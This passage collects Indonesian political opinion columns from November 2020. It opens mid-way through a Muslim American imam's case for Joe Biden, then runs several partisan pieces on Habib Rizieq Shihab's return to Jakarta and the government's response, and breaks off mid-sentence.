Sementara pada zaman Barack Obama acara ini diperuntukkan terutama untuk tokoh-tokoh Muslim Amerika.Puncak kebencian Trump itu diwujudkan dalam bentuk kebijakan yang disebut “Muslims Ban” di tahun 2017 lalu. Dimana Trump melakukan uji coba melarang orang Islam masuk Amerika. Saya menyebutnya uji coba karena lawyer pribadi Trump, Rudy Giuliani, pernah mengatakan bahwa Presiden sedang mencari pembenaran hukum untuk melarang orang Islam masuk Amerika. Mungkin hal terburuk yang ditimbulkan oleh Presiden Trump adalah terbentuknya lingkungan (suasana) dimana kaum putih radikal yang dikenal dengan White Supremacy atau White Nationalist semakin menjadi-jadi. Akibatnya, kekerasan kepada non white, termasuk Muslim, Hispanic, Kulit Hitam, bahkan Yahudi yang dianggap non white semakin menjadi-jadi. Semua itu dan banyak lainnya menjadi dasar utama Kenapa warga Muslim Amerika memilih Joe Biden. Tentu harapannya ada perubahan mendasar dari karakter kepemimpinan Amerika dan kebijakannya. Sehingga akan tumbuh situasi yang lebih kondusif bagi semua untuk berkempetisi secara sehat dalam upaya meraih apa yang disebut di Amerika dengan “American Dreams” (mimpi-mimpi Amerika). Joe Biden telah mendekati Komunitas Muslim. Bahkan berjanji menghapus Muslims Ban (pelarangan Umat Islam) masuk Amerika. Juga berjanji mengikutkan warga Muslim dalam pemerintahannya. Tentu yang terpenting dari semua itu adalah bahwa karakter pribadi Joe Biden dan Kamala Harris akan lebih kondusif bagi semua warga untuk hidup aman, tanpa friksi dan kebencian seperti di zaman Trump. Kebijakan Luar Negeri Banyak yang kemudian menuduh bahwa Joe Biden boleh jadi akan kembali berambisi perang di Timur Tengah. Mereka lupa justeru perang Timur Tengah dimulai Presiden Bush Senior dari Republican di Irak atas permintaan Saudi dan Kuwait. Perang itu tidak berlanjut di zaman Clinton yang Demokrat. Kita diingatkan justeru Clinton melakukan pembelaan kepada warga Muslim di Bosnia dan Kosovo ketika itu. Lalu perang kembali bergejolak di zaman Presiden GW Bush Junior yang juga Republican di Irak hingga tumbangnya Saddam Husaen. Di zamannyalah Irak porak poranda, bahkan mengakibatkan resesi ekonomi Amerika dan dunia. Poin yang ingin saya sampaikan adalah tuduhan jika Demokrat dan Biden senang perang, tidak selamanya benar. Justeru Republican dalam sejarahnya yang selalu berpihak kepada kapitalis (kaum kaya) yang selalu melakukan peperangan untuk kepentingan kapitalisme. Terkhusus dalam masalah Israel-Palestina, ternyata Trumplah yang dengan muka kebal mengakui Jerusalem sebagai ibukota Israel. Juga memindahkan Kedutaan Amerika dari Tel Aviv ke Jerusalem. Walaupun kenyataannya bertentangan dengan berbagai resolusi PBB. Bagaimana Bengan China? Dalam tatanana global, saat ini memang Amerika dan China sedang bersaing. Karenanya tekan menekan akan terus terjadi ke depan, siapapun Presidennya. Sejujurnya Trump punya kelemahan menghadapi China. Kelemahan itu karena dia sendiri punya utang pribadi yang cukup besar kepada China. Menurut informasi Trump berutang sekitar U$. 400 juta ke China. Saya justeru menilai jika Biden/Demokrat akan lebih tegas ke China ke depan. Kita ketahui bahwa Demokrat sangat peduli dengan isu-isu HAM. Hal ini akan menjadi modal bagi warga Muslim Amerika untuk menekan pemerintahan Biden untuk membela hak-hak warga Uighur di China. Secara umum dengan terpilihnya Biden hubungan internasional Amerika akan kembali rasional dan normal. Selama ini Amerika jadi aneh dan nampak tidak rasional dalam hubungan internasionalnya. Amerika dengan mudah menarik diri dari banyak kerjasama global, termasuk keluar dari Paris Climate Change Treaty dan WHO justeru di saat diperlukan kerjasama global mengahdapi pandemi Covid 19. Isu Moralitas Banyak yang kemudian menuduh bahwa dengan Joe Biden-Kamala Harris menjadi Pemimpin Amerika isu-isu immoralitas semakin menguat. Kita kenal bahwa Demokrat memang menganut paham liberalisme. Artinya, memberikan kebebasan kepada semua pihak untuk eksis dan berkembang. Termasuk apa yang kita anggap bertentangan dengan nilai-nilai kita. Tapi hal ini ternyata dalam realitanya tidak merubah realita di lapangan. Justeru saya yakin cara terfektif untuk melakukan perubahan cara pandang dan karakter masyarakat justeru melalui proses pendidikan dan pembudayan yang baik. Bahasa agama melalui kerja-kerja dakwah. Ini didasarkan pada kenyataan, baik di saat Republikan maupun Demokrat berkuasa ternyata berbagai penyelewengan moralitas tetap sama. Ideologi tidak banyak berarti dalam melakukan perubahan cara Pandang dan mentalitas. Disinilah kelebihan Demokrat. Karena dengan kebebasan (saya istilahkan ruang) yang sama untuk semua akan terjadi. Ada kompetisi dalam menampilkan nilai dari masing-masing kelompok manusia. Saya yakin di sinilah Islam akan mampu tampil sebagai nilai terbaik dari semua yang ada. “Li yudzhirahu alad diini killih” akan kita buktikan dengan persaingan nilai tersebut. Akhirnya kita hanya bisa berusaha. Tugas kami yang berat ke depan adalah mengawal pemerintahan Joe Biden untuk tetap sejalan dengan kepentingan dan kebaikan untuk semua. Bukan untuk sekelompok orang saja. Penulis adalah Imam Jamaica Muslim Center & Presiden Nusantara Foundation.

Penyambutan HRS Yang Bersejarah

by M Rizal Fadillah Bandung FNN – Selasa (10/11). Soal macet di sepanjang jalan yang menuju ke Bandara Soekarno Hatta, itu sudah pasti. Yang lebih pasti lagi adalah ratusan ribu, bahkan mungkin juga jutaan massa yang berjalan kaki kurang lebih 7 kilometer dari kemacetan total menuju Terminal Tiga di Bandara Soekarno Hatta. Tercatat sebanyak tiga kali, masa penjemput dihadang oleh pihak Kepolisian selama di Bandara Soekano Hatta. Prasangka baiknya adalah bagian dari pengaturan massa. Sedangkan praksa buruknya, Wallahu a'lam. Faktanya selalu saja terjadi negoisasi dengan apara kepolisian di lapangan. Rasa-rasanya belum ada catatan penyambutan kedatangan seorang tokoh di Bandara Soekarno Hatta yang sebesar kedatangan Habib Rizieq Shihab ini. Kejadian ini memperlihatkan bahwa figur Habib Rizieq Shihab memang sangat fenomenal. Sangat dicintai oleh rakyat dan umat Islam. Selasa tiga tahun lebih hidup dalam keterasingan di Mekkah, Arab Saudi. Semua itu sebagai akibat dari tekanan politik dan hukum terhadap Habib Riizieq Shihab di dalam negeri. Bagi rezim Jokowi, Habib Rizieq Shihab adalah "lawan politik" yang kesannya harus dihabisi. Pembunuhan karakter terus-menerus dilakukan terhadap Habib Rizieq Shihab, baik ketika masih di dalam negeri, maupun ketika sudah berada dalam pengasingan di Mekkah, Arab Saudi. Pembunuhan karakter itu dilakukan penguasa sejak awal melalui kasus chat porno di WA. Setelah itu, berlanjut dengan pelecehan terhadap ideologi Pancasilan dan lainnya. Semua itu berakibat Habib Rizieq Shihab harus pergi ke Arab Saudi. Menurut Prabowo Subianto saat Pemilihan Presiden (Pilpres) 2019 lalu, Habib Rizieq Shihab adalah korban fitnah dan kezaliman. Prebowo ketika itu menyatakan sangat prihatin dengan fitnah dan kezaliman yang dilakukan terhadap Habib Rizieq Shihab. Anehnya, fitnah dan kezaliman dilakukan terus-menerus. Seperti tidak mau berhenti. Apalagi menjelang setiap ada informasi tentang rencana kepulangan Habib Rizieq dan keluarga ke tanah ait. Fitnah dan kezaliman itu, baik yang dilakukan oleh Dita Besar Agus Maftuh, maupun Menteri Kordinator Bidang Politik, Hukum dan Keamanan (Menkopolhukam) Mahfud MD. Belum lama ini ketika akan kembali dari "pengasingan", Menkopolhukam membombardir Habib Rizieq Shihab dengan ungkapan status deportasi dari pemerintah Arab Saudi yang mengarah pada pembunuhan karakter tersebut. Dengan perlawanan dari pendukung Habib Rizieq Shihab membuat pemerintah berubah sikap. Para pendukung mengancam berupa tuntutan secara hukum terhadap siapapun pihak yang menyatakan bahwa Habib Rizieq Shihab over stay atau dalam status deportasi. Ancaman ini kemudian membuat Menkopolhukam Mahfud MD kemudian "melunak". Bahkan meminta agar aparat keamanan di lapangan agar tidak melakukan tindakan represif terhadap massa yang datang ke Terminal Tiga Bandara Soekarono Hatta untuk menyambut kedatangan Habib Rizieq Shihab. Kini Habib Rizieq Shihab sudah kembali ke tanah air dengan rekor penyambutan terbesar yang sangat bersejarah. Tteapi ini bukan sekedar rekor-rekoran, melainkan soal dimensi perjuangan. Harapan umat terhadap kepemimpinan tokoh yang konsisten dan berani sangatlah besar. Nurani tak bisa dibohongi bahwa umat Islam sedang merasa terpinggirkan di rezim Jokowi ini. Revolusi Akhlak dicanangkan oleh Habib Rizieq Shihab untuk perubahan arah kiblat sosial dan politik bangsa ke depan. Akankah pencangan ini terus bergaung setelah sebelumnya ada gaungan revolusi moral dari Amien Rais untuk menggantikan revolusi mental Jokowi ? Pidato Habib Rizieq Shihab di Petamburan setibanya dari penyambutan yang spektakuler di Terminal Tiga Bandara Soekarno Hatta adalah Revolusi Akhlak. Mampukah Habib dan umat Islam serta elemen bangsa lainnya menunaikan amanah ini? Melakukan perubahan akhlak bangsa yang dinilai telah sangat kacau-balau dan amburadul sekarang? Sejarah lagi yang akan menjawab. Namun penyambutan bersejarah 10 November 2020 dapat menjadi awalan dari spirit perubahan itu. Reuni 212 pada tanggal dua Desember 2020 yang akan datang adalah langkah berikutnya. Penulis adalah Pemerhati Politik dan Kebangsaan.

HRS Pulang, Apakah Masih Garang?

by Tony Rosyid Jakarta FNN – Selasa (10/11). Habib Rizieq Shihab (HRS). Sudah pulang ke Indonesia. Hari ini tiba di Jakarta. Kepulangan HRS tepat pada hari pahlawan, tanggal 10 Nopember. Tentu saja bukan suatu kebetulan. tetapi ada kesengajaan. Juga bukan kebetulan jika Habib Rizieq pulang saat eskalasi politik di Indonesia sedang naik. Demo berjilid-jilid atas UU Cipta Kerja belum ada tanda-tanda berhenti. Kekecewaan massa, baik buruh, mahasiswa, pelajar dan ormas semakin membesar ketika presiden menandatangani UU Cipta Kerja tersebut. Apalagi, naskah UU yang ditandatangani Presiden itu dianggap cacat formil dan materiil. Kepulangan tokoh yang dipanggil dengan nama HRS ini seolah menjadi energi segar bagi kelompok oposisi. Energi untuk semakin aktif dan masif memprotes aturan dan kebijakan pemerintah yang dianggap ugal-ugalan. Berpihak kepada para pemodal, abai terhadap aspirasi dan kepentingan rakyat. HRS punya modal sosial yang cukup besar. Secara personal, mungkin dia satu-satunya tokoh di Indonesia yang mampu menggerakkan jutaan massa. Ini bisa dilihat dari jumlah massa yang menjemputnya hari ini di bandara Soekarno Hatta Cengkarang. Bisa dimaklumi jika istana kemudian panik. Sekali HRS teriak, istana bisa terancam rontok. Wajar saja jika istana khawatir. Sadar atas potensi ini, istana mulai melunak. Sambutan Kordinator Politik, Hukum dan Keamanan (Menkopolhukam) Mahfudz MD kemarin malam berubah total. Sebelumnya, Mahfudz cenderung menyerang HRS dengan kata-kata yang menydutkan. Menuduh HRS bermasalah di Arab Saudi, lalu dideportasi. HRS bukan orang suci. Tidak sampai disitu, Mahfudz juga mengancam jika pendukung HRS berbuat anarkis akan disikat. Namun ketika istana tahu bahwa pendukung HRS begitu besar, istana merubah dengan cepat dan drastis. Istana merubah strategi dan cara berkomunikasi ke publik. Lebih soft, persuasif dan tidak lagi sembrono dan nenyerang. Tak ada pilihan lain. HRS itu pulang ingin melakukan "revolusi moral", kata pihak istana. Kalimat ini terus saja diulang-ulang oleh istana. Pengulangan dan penonjolan kata "revolusi moral" seperti disengaja agar kepulangan HRS menjadi kehilangan heroismenya. Supaya dianggap biasa-biasa saja. Kata "revolusi moral" yang terus digaung-gaungkan oleh istana dibaca publik seolah ingin memengaruhi opini. Bahwa HRS tidak akan melakukan revolusi politik. Hanya revolusi moral semata. Kerana HRS adalah tokoh agama ada tokoh moral. Revolusi moral seperti sejalan dengan maunya istana. Apakah revolusi moral yang diperjuangkan HRS lepas begitu saja? Sama sekali tidak bakalan terkait sama sekali dengan situasi politik bangsa saat ini? Kalau begitu, apa artinya ketegangan HRS dengan istana yang berlangsung selama bertahun-tahun? Sandiwarakah itu? Nah, yang menarik dari kepulangan HRS adalah, apakah sikap lunak istana akan untuk menghentikan teriakan HRS yang selama ini terus menerus meminta agar Jokowi mundur? Dalam konteks ini, apakah sudah ada kompromi atau deal-deal tertentu antara HRS dengan istana? Jika ada dealnya, maka apa isi dealnya? Atau sebaliknya, kepulangan HRS justru untuk menuntaskan tuntutan itu agar Jokowi sebaiknya mundur dengan terhormat? Daripada dimundurkan nantinya. Isu ini nampaknya yang paling seksi dan menarik untuk didengar publik. Jawaban atas pertanyaan-pertanyaan ini bakalan menjadi hal yang paling penting dan substansial dari semua analisis tentang kepulangan HRS. Tanpa menyentuh soal ini, semua analisis menjadi semu dan hambar. Namun semunya kita tunggu dari HRS saja. Publik tentu saja menunggu. Apa narasi HRS pasca kepulangannya? Melunak, atau masih tetap garang? Lunak dan garangnya sikap HRS akan sangat memengaruhi tidak saja eskalasi politik. Tetapi boleh jadi juga akan menentukan struktur politik nasional ke depan. Penulis adalah Pengamat Politik dan Pemerhati Bangsa.

Kontroversi Kepulangan HRS

by Sugito Atmo Pawiro Jakarta FNN - Senin (09/11). HABIB Rizieq Shihab (HRS) memang warga negara luar biasa. Setelah lebih kurang 3,5 tahun berada di Mekkah, Arab Saudi sejak April 2017, bulan lalu terbetik kabar akan kembali ke tanah air pada 10 November 2020. Kabar kepulangannya serta merta mengundang gelegar reaksi publik mulai dari omongan di warung kopi hingga celetukan di ruang maya (media sosial) dan mewarnai pula jagad pemberitaan di media massa mainstream. Semua kalangan menyampaikan pandangannya mulai dari elite di pemerintahan hingga pedagang kecil di trotoar jalan raya. Ada reaksi yang gembira karena akan menyambut Imam Besar Front Pembela Islam (FPI) tersebut, ada juga lontaran kata sinisme yang menentang kepulangan WNI itu ke negerinya sendiri. Bahkan sudah sempat diwacanakan bakal ada prosesi penyambutan di Bandara Soekarno-Hatta dengan jumlah massa yang cukup besar. Singkatnya, mungkin tidak ada seorang pun warga negara Indonesia yang berada di luar negeri dan disambut kembali ke negeri ini ditingkahi dengan beragam pro-kontra dan kontroversi serta silang pendapat. Tampaknya hanya HRS yang mendapatkan perlakuan spesial seperti ini. Padahal, seperti dikatakan banyak pengamat yang netral, kepulangan HRS dari Arab Saudi ke Indonesia semestinya disambut dengan wajar-wajar saja, mengingat HRS adalah warga negara biasa. Hak HRS untuk pulang ke tanah air sejatinya dihormati sebagaimana warga negara lainnya. Tidak ada alasan untuk menentangnya dengan berbagai opini yang dibangun secara sengaja untuk mendiskreditkan citra HRS sebagai warga negara demi menghalangi kepulangannya ke tanah air. Tidak ada juga manfaatnya untuk menyebutkan bahwa HRS dideportasi karena kasus overstay di Arab Saudi, dan seterusnya. Kehadiran HRS di tanah air bagi umat Islam yang mencintainya tentu saja sebuah momentum emosional untuk melepaskan kerinduan. Sekaligus menjadi semacam harapan untuk kembali mendapatkan bimbingan dan ayoman dari seorang Imam Besar yang selama puluhan tahun menjadi pemimpin pergerakan amar ma’ruf nahi munkar di seluruh pelosok tanah air. Bagi mereka yang mengharapkan kepulangan HRS tentu saja hal ini sebagai berkah yang tertunda sejak akhir 2018 lalu. Isu kepulangan HRS telah mencuat sejak suasana karut marut gelombang protes oleh buruh dan mahasiswa terhadap pengesahan Omnibus Law pada 20 Oktober lalu, dan berlanjut pada 28 Oktober hingga demonstrasi, Senin, 9 November 2020. Gelombang aksi ini diperkirakan akan terus marathon dan diperkirakan akan lebih meluas ke seluruh Indonesia. Ada selintas pendapat bahwa aksi seperti ini akan lebih besar lagi bila dipimpin oleh seorang sekaliber HRS yang memiliki jumlah anggota dan pengaruh yang sangat besar di seluruh Indonesia. Keberadaan HRS yang diinginkan sebagian massa aksi penolakan Omnibus Law agar memimpin gelombang aksi sebagaimana sukses HRS dalam memimpin Aksi 212 tahun 2016 lalu, salah satu faktor yang menimbulkan penentangan terhadap keberadaan HRS. Apalagi berbagai atribut media luar ruang terkait ucapan selamat datang kepada HRS yang dibuat secara swadaya oleh masyarakat, dianggap memprovokasi pergerakan aksi massa dengan tajuk yang disebut Revolusi Akhlak. Mereka yang kontra, risau dan gelisah atas kepulangan HRS semakin bersihkeras untuk menghentikan langkah HRS setibanya di tanah air, termasuk mendesak pemerintah untuk melakukan pengamanan ketat terhadap HRS dan pendukungnya bila tiba di tanah air. Mengapa banyak kalangan pendukung kekuasaan yang gelisah dan menentang kepulangan HRS ke tanah air? Ada beberapa alasan yang tampaknya berada di balik opini yang resisten terhadap kembalinya Imam Besar FPI itu ke Indonesia. Pertama, pihak-pihak yang bersikap dilatari oleh ketidaksukaan terhadap sepak-terjang FPI dan selama ini berusaha untuk mendorong pemerintah membekukan atau membubarkan organisasi FPI. Keberadaan HRS dikhawatirkan akan membuat mental dan moral jutaan warga FPI semakin kokoh dalam berjuang lewat dakwah (amar ma’ruf) dan melawan ketidakadilan dan kemaksiatan (nahi munkar) di negeri ini. Cara-cara yang dilakukan kelompok resisten ini dengan mencari cela untuk menghentikan keleluasaan kiprah HRS sekembalinya ke tanah air, antara lain dengan propaganda dan mendorong institusi Polri untuk mengusut kembali kasus hukum sumir, yakni fitnah chat porno yang sebenarnya sudah dibekukan karena ketiadaan bukti. Sebuah skenario klise dan usang. Kedua, kepemimpinan HRS dianggap efektif di dalam membangun semangat perjuangan anti-ketidakadilan dalam praktek politik dan kemasyarakatan, yang bila dibiarkan akan dapat mendelegitimasi kekuasaan politik di negeri ini. Meski pun dalam alam demokrasi keberadaan tokoh dan aktor non-negara (Non State Actor, NSA), seperti HRS, sejatinya dipelihara untuk memperkuat basis masyarakat sipil (civil society). Tetapi dalam kenyataannya HRS justru dikesankan seperti state-enemy guna memberikan keleluasaan pada kekuasaan tanpa kontrol dari masyarakat sipil. Inilah sikap naif yang menciderai demokrasi di negeri ini. Akhirnya, kita seyogyanya menerima sebuah kenyataan bahwa ada arus deras di masyarakat yang membutuhkan kepemimpinan dari seorang aktor non-negara yang dapat dijadikan panutan dalam kehidupan bernegara dan berbangsa, sebagaimana halnya HRS dan tokoh-tokoh besar lainnya. Oleh karena itu terimalah kepulangannya untuk kembali memimpin umat di negeri ini. Tentu tidak seluruhnya menerima pendapat ini, tapi setidaknya itulah bagian esensial dari keberagaman.* Penulis adalah pengacara HRS

Prabowo Mau Jemput Habib Rizieq di Bandara?

by M Rizal Fadillah Bandung FNN – (09/11). Ketika Habib Rizieq Shihab (HRS) serius akan kembali ke tanah air pada tanggal 10 November 2020, para penyambut tengah bersiap-siap untuk menjemput ke Bandara. Isu hambatan dari Pemerintah mengemuka sebagaimana ucapan Menkopolhukam Mahfud MD dan Duta Besar RI untuk Saudi Arabia Agus Maftuh. "Character assasination" menohok pada HRS. Sayangnya, publik khususnya pendukung tentu tak bakal terpengaruh. Program penyambutan berjalan terus. Jama'ah berbis-bis yang akan berangkat menuju Bandara Soekarno Hatta untuk mengawal pulang ke Petamburan tempat kediaman HRS. Begitu juga dengan rencana konvoy kendaraan bermotor. Bahkan banyak yang bertekad menyatakan menyiapkan jiwa raga untuk melindungi HRS dari kemungkinan berbagai gangguan. Segala bentuk gangguan terhadap HRS, bakalan dihadapai dengan segala resiko. Soal sambut menyambut kedatangan atau kepulangan HRS, jadi teringat kemabli pada Prabowo Subianto saat menjadi Calon Presiden (Capres) 2019 lalu. Ketika berkunjung ke Pesantren Mamba'ul Ulum Pamekasan Madura, ia berjanji jika menang dalam Pilpres 2019, maka sehari setelah kemenangan itu, akan berangkat menjemput pulang HRS dengan pesawat pribadi dari Arab Saudi. "Beliau HRS itu difitnah dan dizalimi", seru Prabowo ketika itu. Janji ini sesuai dengan apa yang pernah diungkapkan pada Ijtima Ulama II di Jakarta. Namun apakah Prabowo masih ingat dengan janjinya itu setelah menjadi Menteri Pertahanan (Menhan) Jokowi? Tanyakan saja ke Prabowo. Semoga saja Prabowo masih ingat. Namun mungkin juga sudah lupa setelah jadi menteri. Tentu kita bukan berharap Prabowo merealisasikan janjinya, karena toh Pilpres itu "dimenangkan" oleh Jokowi. Namun kini HRS sudah bisa pulang sendiri. Direncanakan tanggal 10 November tiba di bandara Soekarno Hatta. Lalu apa yang dapat dilakukan oleh Prabowo yang kini menjadi Menteri Pertahanan, dan menjadi bagian dari Pemerintah itu? Apakah terus menyatu dengan rezim yang terus "memfitnah dan menzalimi" tokoh sekelas HRS? Atau ada upaya sebatas kemampuan? Hanya Prabowo yang paling tau urusan fitnah-memfitnah dan zalim-menzalimi tersebut. Namun bisa juga Prabowo sudah lupa, karena faktor umur. Terlalu jauh mungkin jika menganalisa bahwa pertemuan Menhan Prabowo dengan Menhan AS di Pentagon ada pembicaraan terkait dengan HRS. Atau tindak lanjut berupa kedatangan Perdana Menteri Jepang Suga dan Menteri Luar Negeri (Menlu) Amerika Serikat Pompeo, serta Dubes baru AS untuk Indonesia juga membahas hal-hal strategis termasuk kembalinya HRS ke Indonesia. Yang dekat saja, adakah kontribusi "pengamanan politik" Prabowo sebagai pejabat Pemerintah untuk melancarkan dan melindungi kembalinya HRS hingga ke rumahnya ? Jika Prabowo masih "concern" dengan janjinya dan tetap berkeyakinan bahwa HRS "difitnah dan dizalimi", maka semestinya ada langkah heroik di "Hari Pahlawan" yang bisa dilakukannya. HRS sendiri telah menyatakan bahwa kepulangannya ke tanah air tidak atas dasar bantuan siapa-siapa. Apakah itu bantuan dari pemerintah Indonesia atau negara lain. Hal ini dikemukakan tentu untuk antisipasi akan situasi sebaliknya, yaitu lancar dan mulusnya kepulangan HRS tersebut. Klaim-klaim sering bermunculan. Langkah heroik Prabowo adalah kehadiran di Bandara Soekarno Hatta untuk bersama umat menyambut kedatangan HRS. Sayangnya, hati kecil dan hati besar publik untuk bertanya, mungkinkah itu dilakukan Prabowo? Nampaknya probabilitas untuk itu sangat rendah. Mengingat gonjang-ganjing reshuffle kabinet semakin menghangat. Apalagi Prabowo kini sedang "bermanja-manja" dalam kabinet Jokowi. Bahkan ada sinyalemen bahwa Prabowo telah dipersiapkan menggantikan KH. Ma’ruf Amin di tengah jalan. Dalam konteks global, Pilpres Amerika Serikat ada olok olok yang lucu bahwa untuk meredam "ngamuk" Donald Trump, segera tawarkan pada Trump untuk menjadi Menteri Pertahanan Presiden Joe Biden. Ini terjadi karena Indonesia bisa menjadi rujukan. Prabowo adalah model yang baik dan pas. Maklum saja, namanya juga olok-olok. Penulis adalah Pemerhati Politik dan Kebangsaan.

Kepulangan Habib Rizieq, Pemerintah Terlihat Panik

by Mochamad Toha Surabaya FNN – Senin (09/11). Moment kepulangan Imam Besar Habieb Muhammad Rizieq Shihab (IB HRS) telah membuat Menko Polhukam Mahfud MD meradang. Sampai akhirnya Mahfud ikut membully IB HRS ini. Itulah yang terjadi dalam wawancara Ade Armando dengan mantan Menhan era Presiden Abdurrahman Wahid itu beberapa hari lalu (4/11/2020). Mahfud mengatakan hal yang jelek-jelek tentang IB HRS dengan sangat kasar. Mahfud MD mengatakan, HRS bukan orang suci. Padahal, HRS tidak pernah mengatakan dirinya orang suci. Mahfud juga menyebut HRS mau pulang karena menghindarkan deportasi dari Arab Saudi. Singkatnya, yang keluar dari mulut Mahfud buruk-buruk semua. Menurut KH Tb. Abdurrahman Anwar Al Bantany, zaman ini milik IB HRS. Imam Besar Umat Islam Indonesia ini selalu menjadi sorotan dan perbincangan berbagai kalangan, baik dalam dimensi Nasional maupun Internasional. “Para pecinta HRS itu selalu loyal dan setia ikut berjuang di bawah komando beliau apapun resiko dan akibat yang harus diterimanya,” lanjut mantan Dosen Fakultas Hukum Universitas Islam As Syafi'iyah Jakarta itu. Sebagai sosok Mujahid atau pejuang tangguh di medan laga, perjuangan yang tidak mengenal rasa takut untuk dibunuh. Tidak gentar menghadapi penjara. Tidak menyerah dengan teror, dan ancaman. Tidak larut dengan sogok. Tidak peduli dengan fitnah, cacian, dan sebagainya. IB HRS adalah pejuang tangguh yang Istiqomah. Bukan mencari panggung, dan bukan pula mencari popularitas. Bukan mencari dunia. Tetapi yang dicari adalah Ridho-Nya Allah SWT. Dalam hablum minan nas, HRS santun dan bersahaja, menunjukan akhlakul karimah. Tapi, dalam hal keberpihakannya membela Agama Allah, IB HRS tegas tanpa kompromi. “Itulah sifat kesatria dari umat Rasulullah Sallaahu Alaihi Wasallam. Menempatkan lembut pada tempatnya. Tegas pada tempatnya, dan keras pada tempatnya,” ungkap Anwar Al Bantany. Menurutnya, serentetan cara dan makar untuk membungkam HRS antara lain. Pertama, tiga kali keluar masuk dari penjara, tidak membuat jera untuk terus berjuang membela kebenaran dan menegakan keadilan. Kedua, ancaman berupa sniper otomatis yang diarahkan untuk merenggut jiwanya, tidak digubris IB HRS sama sekali. Ketiga, sogokan uang satu triliun agar IB HRS bungkam, tidak diliriknya sama sekali. Keempat, teror-teror saat da'wah dan ceramah yang mengancam jiwanya, tidak membuat berhenti dari menyuarakan kebenaran di atas mimbar. Kelima, fitnah keji dan pembunuhan karakter yang dialami oleh IB HRS, dan keluarga tidak mampu menghentikan perjuangannya. Keenam, hijrah ke Mekkah untuk menghindari pertumpahan darah dengan anggapan agar IB HRS tak lagi berjuang, tetapi suara IB HRS dari Mekkah tetap lantang melawan berbagai Kedzoliman. Ketujuh, berbagai cara busuk, licik, dan keji diarahkan ke IB HRS dengan harapan agar bungkam dan takut. “Ternyata berbagai upaya yang telah dilakukan untuk membungkam HRS hasilnya hanya menyebabkan berbagai macam kebingungan yang dialami oleh rezim saat ini,” lanjut Anwar Al Bantany. Tiga tahun Enam bulan IB HRS berada di Mekkah, karena dicekal, dikriminalisasi, dan upaya lainnya. “Kini tiba saatnya IB HRS kembali ke tanah air untuk membela Agamanya, membela umatnya, dan membela Bangsa dan Negaranya,” tegasnya. Umat bersuka ria akan menjemput, dan menyambut kedatangan serta kehadiran IB HRS di tanah air tercinta. Kedatangan HRS ke tanah air telah membuat rezim kalangkabut mencari sejuta cara untuk membungkam HRS tidak berdampak apa-apa sama sekali, sehingga rezim saat ini sedang berada dalam seribu kebingungan. Wartawan senior Asyari Usman bertanya, apakah Habieb pernah berbuat jahat seperti Joko Tjandra? “Sampai-sampai beliau sekarang di-bully oleh Mahfud? Habib tak pernah merugikan rakyat dan negara sebagaimana Joko Tjandara melakukan korupsi dan penipuan besar.” Jadi, sangatlah mengherankan mengapa Mahfud MD sampai ikut mem-bully HRS. Dalam wawancara dengan Ade Armando itu. Mahfud merasa ringan mengatakan agar Habieb mengurus sendiri masalahnya dengan pemerintah Saudi. Padahal, Mahfud tahu, HRS tidak pernah meminta bantuan aparat Indonesia. Kelihatannya, Pak Menko tergiring masuk ke ruang yang penuh dengan “udara akal kotor”. Tidak terpikirkan mengapa Mahfud yang berintelektualitas tinggi mau menghirup “udara akal kotor” itu. Apakah Mahfud MD merasa dia akan mendapatkan tempat yang sebaik-baiknya di sisi para penguasa dan cukong? Wallahu a’lam. Tidak salahnya kalau anda berkenan menyumbangkan “oksigen akal sehat” kepada Mahfud MD. Persaudaraan Alumni (PA) 212 menyebut, tidak ada lagi laporan kepolisian atau kasus yang menyangkut IB HRS. PA 212 mengklaim bahwa semua laporan yang menyangkut HRS itu sudah berstatus SP3 atau dihentikan penyelidikannya. “Sudah SP3. Insya Allah (semua kasus HRS) sudah SP3 jadi nggak ada masalah,” kata Ketua Umum PA 212 Slamet Maarif, seperti dilansir Gelora.co, Minggu (8/11/2020). Slamet Maarif meminta kepolisian untuk tidak provokatif menjelang kepulangan HRS. “Jadi polisi jangan mengada-ada (lagi). Ciptakan kondisi agar kondusif jangan komentar yang provokatif dan mengada-ada,” himbaunya. Sebab sebelumnya, Kabid Humas Polda Metro Jaya Kombes Yusri Yunus menyebut, ada beberapa laporan polisi yang sampai saat ini menyangkut nama HRS di Polda Metro Jaya. “Memang banyak laporan polisi yang menyangkut masalah Pak Rizieq Syihab ya,” katanya. Sebelumnya, PA 212 juga mengungkapkan ada intelijen hitam persulit HRS pulang dari Arab Saudi ke Indonesia. Intelijen hitam ini juga disebut memberikan informasi palsu soal keadaan HRS. Seperti dilansir Harian Aceh.co.id, Kamis (19/10/2020), Slamet Maarif menjelaskan, operasi intelijen hitam dibalik susahnya tokoh FPI itu pulang ke Tanah Air. Dia menjelaskan salah satu informasi bohong datang dari Dubes Indonesia untuk Arab Saudi, Agus Maftuh Abegebriel. Dubes menyebut HRS bermasalah. Padahal, kata Slamet Maarif, beberapa waktu lalu di sebuah stasiun televisi, Agus mengatakan tidak ada masalah antara pemerintah Indonesia dengan Saudi soal kepulangan tokoh FPI tersebut. “Artinya ini ada intelijen hitam bermain yang menginfokan yang tidak benar (soal HRS) ke Arab Saudi,” jelas Slamet Maarif dalam tayangan YouTube Front TV, Senin (19/10/2020). Slamet heran kepulangan HRS ke Indonesia kok beberapa pihak tak senang. Termasuk Dubes Indonesia untuk Arab Saudi. Slamet Maarif melihat ada yang mencoba mengganjal kepulangan HRS. “HRS mau pulang. Dia Dubes Indonesia untuk Arab Saudi cuek. Nggak mau urusin. Padahal HRS sudah usaha sendiri. Harusnya gembira dia, warganya bisa pulang. Ini malah sebaliknya. Harusnya cari info berupaya agar pulang,” kata Slamet. “Dubes Agus ini salah satu variabel yang hambat kepulangan HRS. Artinya terbukti pesoalan ada di sini. Mulai Allah buka ini pihak yang selama ini bermain,” lanjut Slamet. Selain Dubes Agus, Slamet menyoroti respons Istana atas kepulangan HRS. “Kok responnya seakan tak senang dengan kabar itu. Ternyata orang Istana teriak semua, kebakaran jenggot. Indikasi keterlibatan pihak sana ikut menghalangi kepulangan,” katanya. Dubes Agus menyebut, ada aib yang dilakukan IB HRS selama tinggal di Arab Saudi. Tetapi Agus tidak mengungkapkan aib yang dilakukan Imam Besar FPI itu. Aib itu tercantum dalam layar kedua sistem komputer imigrasi Arab Saudi. “Di layar kedua ini ada dua kolom yang sensitif dan berkategori aib, sehingga kami tidak elok untuk membukanya ke publik,” kata Agus kepada CNNIndonesia.com, Jumat (6/11/2020). Ia mengungkapkan, data sensitif ini masih bisa diakses di sistem hingga 4 November 2020. “Pada 4 November kemarin data sensitif ini masih bisa dibaca. Kalau tidak nyaman dengan label ini silakan protes kepada komputer keimigrasian 